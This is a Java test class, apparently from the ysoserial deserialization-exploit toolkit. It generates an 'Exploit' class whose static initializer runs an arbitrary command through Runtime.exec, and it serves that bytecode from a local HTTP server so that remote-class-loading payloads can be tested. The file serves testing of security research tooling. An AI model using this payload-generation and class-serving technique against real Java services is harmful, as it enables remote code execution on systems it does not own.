package ysoserial.payloads; import java.io.ByteArrayInputStream; import java.io.IOException; import java.io.Serializable; import java.util.Random; import java.util.concurrent.Callable; import fi.iki.elonen.NanoHTTPD; import fi.iki.elonen.NanoHTTPD.Response.Status; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import ysoserial.WrappedTest; /** * @author mbechler * */ public class RemoteClassLoadingTest implements WrappedTest { int port; private String command; private String className; public RemoteClassLoadingTest ( String command ) { this.command = command; this.port = new Random().nextInt(65535-1024)+1024; this.className = "Exploit-" + System.currentTimeMillis(); } public String getPayloadArgs () { return String.format("http://localhost:%d/", this.port) + ":" + this.className; } public int getHTTPPort () { return this.port; } public Callable<Object> createCallable ( Callable<Object> innerCallable ) { return new RemoteClassLoadingTestCallable(this.port, makePayloadClass(), innerCallable); } public String getExploitClassName () { return this.className; } protected byte[] makePayloadClass () { try { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(Exploit.class)); final CtClass clazz = pool.get(Exploit.class.getName()); clazz.setName(this.className); clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");"); return clazz.toBytecode(); } catch ( Exception e ) { e.printStackTrace(); return new byte[0]; } } static class RemoteClassLoadingTestCallable extends NanoHTTPD implements Callable<Object> { private Callable<Object> innerCallable; private byte[] data; private Object waitLock = new Object(); public RemoteClassLoadingTestCallable ( int port, byte[] data, Callable<Object> innerCallable ) { super(port); this.data = data; this.innerCallable = innerCallable; } public void waitFor() throws InterruptedException { synchronized ( this.waitLock ) { this.waitLock.wait(1000); } } public Object call () throws Exception { try { setup(); Object res = this.innerCallable.call(); waitFor(); Thread.sleep(1000); return res; } finally { cleanup(); } } private void setup () throws IOException { start(NanoHTTPD.SOCKET_READ_TIMEOUT, false); } private void cleanup () { stop(); } @Override public Response serve ( IHTTPSession sess ) { System.out.println("Serving " + sess.getUri()); Response response = newFixedLengthResponse(Status.OK, "application/octet-stream", new ByteArrayInputStream(data), data.length); synchronized ( this.waitLock ) { this.waitLock.notify(); } return response; } } public static class Exploit implements Serializable { private static final long serialVersionUID = 1L; } }